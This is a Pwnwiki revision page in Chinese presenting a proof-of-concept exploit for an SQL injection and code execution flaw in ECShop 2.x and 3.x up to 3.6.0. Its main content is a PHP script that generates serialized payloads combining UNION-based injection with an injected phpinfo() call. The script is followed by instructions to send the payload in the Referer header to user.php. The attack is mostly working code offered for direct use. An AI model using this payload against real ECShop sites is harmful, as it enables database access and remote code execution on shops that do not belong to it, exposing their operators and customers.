Pwnwiki: Marked this version for translation

2021-04-07T11:29:45Z

Marked this version for translation

Pwnwiki: Created page with " ==影響版本==

 Ecshop 2.x     Ecshop 3.x-3.6.0

==POC==

 
2021-04-07T11:29:33Z
Created page with "<languages   />  <translate> ==影響版本== </translate> <pre> Ecshop 2.x     Ecshop 3.x-3.6.0 </pre>  ==POC== <pre> <?php  $shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");..."
New page
<languages   />



<translate>

==影響版本==

</translate>

<pre>

Ecshop 2.x    

Ecshop 3.x-3.6.0

</pre>



==POC==

<pre>

<?php 

$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");

$id = "-1' UNION/*";

$test = sprintf("*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -", bin2hex($id), $shell);

$arr = array();

$arr["num"]=$test;

$arr["id"]=$id;



$s = serialize($arr);



$hash3 = '45ea207d7a2b68c49582d2d22adf953a';

$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';



echo "POC for ECShop 2.x: \n";

echo "{$hash2}ads|{$s}{$hash2}";

echo "\n\nPOC for ECShop 3.x: \n";

echo "{$hash3}ads|{$s}{$hash3}";



?>

</pre>





<translate>

==漏洞利用==

</translate>





<translate>

訪問

</translate>

<pre>

http://127.0.0.1/user.php

</pre>



<translate>

添加referer請求頭，將poc放入再請求，可以看到執行了phpinfo()

</translate>

ECShop SQL注入任意代碼執行漏洞 - Revision history

Pwnwiki: Marked this version for translation